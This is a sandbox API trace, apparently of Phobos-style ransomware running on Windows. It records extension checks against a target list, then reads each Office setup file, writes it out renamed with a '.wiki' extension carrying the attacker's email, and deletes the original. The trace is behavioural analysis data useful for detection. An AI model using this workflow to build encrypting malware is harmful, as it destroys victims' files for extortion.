(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0049.713] lstrlenW (lpString=".1cd") returned 4 [0049.713] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0049.713] lstrlenW (lpString=".jpg") returned 4 [0049.713] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0049.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0049.713] lstrlenW (lpString=".doc") returned 4 [0049.713] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.713] lstrlenW (lpString=".docx") returned 5 [0049.713] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0049.713] lstrlenW (lpString=".pdf") returned 4 [0049.713] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.713] lstrlenW (lpString=".xls") returned 4 [0049.713] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.713] lstrlenW (lpString=".xlsx") returned 5 [0049.713] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0049.713] lstrlenW (lpString=".ppt") returned 4 [0049.713] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0049.713] lstrlenW (lpString=".zip") returned 4 [0049.714] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.714] lstrlenW (lpString=".rar") returned 4 [0049.714] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.714] lstrlenW (lpString=".bz2") returned 4 [0049.714] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.714] lstrlenW (lpString=".7z") returned 3 [0049.714] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0049.714] lstrlenW (lpString=".dbf") returned 4 [0049.714] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0049.714] lstrlenW (lpString=".1cd") returned 4 [0049.714] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0049.714] lstrlenW (lpString=".jpg") returned 4 [0049.714] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.714] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0049.714] lstrlenW (lpString="SETUP.XML") returned 9 [0049.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0049.789] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=20577) returned 1 [0049.789] CloseHandle (hObject=0x18c) returned 1 [0049.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 0x20 [0049.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0049.789] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.789] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0049.790] GetLastError () returned 0x0 [0049.790] ReadFile (in: hFile=0x18c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x5061, lpOverlapped=0x0) returned 1 [0049.793] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0049.794] ReadFile (in: hFile=0x18c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.794] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.794] SetEndOfFile (hFile=0x1f8) returned 1 [0049.794] CloseHandle (hObject=0x1f8) returned 1 [0049.795] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.795] SetEndOfFile (hFile=0x18c) returned 1 [0049.796] CloseHandle (hObject=0x18c) returned 1 [0049.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0049.797] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 1 [0049.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0049.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0049.797] lstrlenW (lpString=".doc") returned 4 [0049.797] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.797] lstrlenW (lpString=".docx") returned 5 [0049.797] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.797] lstrlenW (lpString=".pdf") returned 4 [0049.797] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.797] lstrlenW (lpString=".xls") returned 4 [0049.797] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.797] lstrlenW (lpString=".xlsx") returned 5 [0049.797] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.797] lstrlenW (lpString=".ppt") returned 4 [0049.797] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0049.797] lstrlenW (lpString=".zip") returned 4 [0049.797] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.797] lstrlenW (lpString=".rar") returned 4 [0049.797] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.797] lstrlenW (lpString=".bz2") returned 4 [0049.797] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.797] lstrlenW (lpString=".7z") returned 3 [0049.797] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0049.798] lstrlenW (lpString=".dbf") returned 4 [0049.798] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0049.798] lstrlenW (lpString=".1cd") returned 4 [0049.798] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0049.798] lstrlenW (lpString=".jpg") returned 4 [0049.798] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0049.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0049.798] lstrlenW (lpString=".doc") returned 4 [0049.798] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.798] lstrlenW (lpString=".docx") returned 5 [0049.798] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.798] lstrlenW (lpString=".pdf") returned 4 [0049.798] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.798] lstrlenW (lpString=".xls") returned 4 [0049.798] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.798] lstrlenW (lpString=".xlsx") returned 5 [0049.798] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.798] lstrlenW (lpString=".ppt") returned 4 [0049.798] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0049.798] lstrlenW (lpString=".zip") returned 4 [0049.798] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.798] lstrlenW (lpString=".rar") returned 4 [0049.798] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.798] lstrlenW (lpString=".bz2") returned 4 [0049.798] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.798] lstrlenW (lpString=".7z") returned 3 [0049.798] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0049.798] lstrlenW (lpString=".dbf") returned 4 [0049.798] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0049.799] lstrlenW (lpString=".1cd") returned 4 [0049.799] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0049.799] lstrlenW (lpString=".jpg") returned 4 [0049.799] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.799] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0049.799] lstrlenW (lpString="VisiorWW.XML") returned 12 [0049.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0049.799] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=8723) returned 1 [0049.799] CloseHandle (hObject=0x18c) returned 1 [0049.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 0x20 [0049.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0049.800] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.800] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.800] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0049.801] GetLastError () returned 0x0 [0049.802] ReadFile (in: hFile=0x18c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x2213, lpOverlapped=0x0) returned 1 [0049.804] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x2220, lpOverlapped=0x0) returned 1 [0049.805] ReadFile (in: hFile=0x18c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.805] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.805] SetEndOfFile (hFile=0x1f8) returned 1 [0049.805] CloseHandle (hObject=0x1f8) returned 1 [0049.806] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.806] SetEndOfFile (hFile=0x18c) returned 1 [0049.807] CloseHandle (hObject=0x18c) returned 1 [0049.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0049.807] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 1 [0049.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0049.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0049.807] lstrlenW (lpString=".doc") returned 4 [0049.807] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.807] lstrlenW (lpString=".docx") returned 5 [0049.807] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0049.807] lstrlenW (lpString=".pdf") returned 4 [0049.807] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.807] lstrlenW (lpString=".xls") returned 4 [0049.807] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.807] lstrlenW (lpString=".xlsx") returned 5 [0049.807] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0049.807] lstrlenW (lpString=".ppt") returned 4 [0049.808] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0049.808] lstrlenW (lpString=".zip") returned 4 [0049.808] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.808] lstrlenW (lpString=".rar") returned 4 [0049.808] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.808] lstrlenW (lpString=".bz2") returned 4 [0049.808] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.808] lstrlenW (lpString=".7z") returned 3 [0049.808] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0049.808] lstrlenW (lpString=".dbf") returned 4 [0049.808] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0049.808] lstrlenW (lpString=".1cd") returned 4 [0049.808] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0049.808] lstrlenW (lpString=".jpg") returned 4 [0049.808] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0049.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0049.808] lstrlenW (lpString=".doc") returned 4 [0049.808] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.808] lstrlenW (lpString=".docx") returned 5 [0049.808] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0049.808] lstrlenW (lpString=".pdf") returned 4 [0049.808] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.808] lstrlenW (lpString=".xls") returned 4 [0049.808] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.808] lstrlenW (lpString=".xlsx") returned 5 [0049.808] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0049.808] lstrlenW (lpString=".ppt") returned 4 [0049.808] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0049.809] lstrlenW (lpString=".zip") returned 4 [0049.809] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.809] lstrlenW (lpString=".rar") returned 4 [0049.810] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.810] lstrlenW (lpString=".bz2") returned 4 [0049.810] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.810] lstrlenW (lpString=".7z") returned 3 [0049.810] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0049.810] lstrlenW (lpString=".dbf") returned 4 [0049.810] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0049.810] lstrlenW (lpString=".1cd") returned 4 [0049.810] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0049.810] lstrlenW (lpString=".jpg") returned 4 [0049.810] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.810] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0049.810] lstrlenW (lpString="SETUP.XML") returned 9 [0049.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0049.812] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2424) returned 1 [0049.812] CloseHandle (hObject=0x18c) returned 1 [0049.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 0x20 [0049.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0049.812] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.812] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0049.813] GetLastError () returned 0x0 [0049.813] ReadFile (in: hFile=0x18c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x978, lpOverlapped=0x0) returned 1 [0049.819] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x980, lpOverlapped=0x0) returned 1 [0049.820] ReadFile (in: hFile=0x18c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.820] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.820] SetEndOfFile (hFile=0x1f8) returned 1 [0049.820] CloseHandle (hObject=0x1f8) returned 1 [0049.821] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.821] SetEndOfFile (hFile=0x18c) returned 1 [0049.822] CloseHandle (hObject=0x18c) returned 1 [0049.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0049.822] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 1 [0049.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0049.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0049.822] lstrlenW (lpString=".doc") returned 4 [0049.822] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.822] lstrlenW (lpString=".docx") returned 5 [0049.822] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.822] lstrlenW (lpString=".pdf") returned 4 [0049.822] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.822] lstrlenW (lpString=".xls") returned 4 [0049.823] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.823] lstrlenW (lpString=".xlsx") returned 5 [0049.823] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 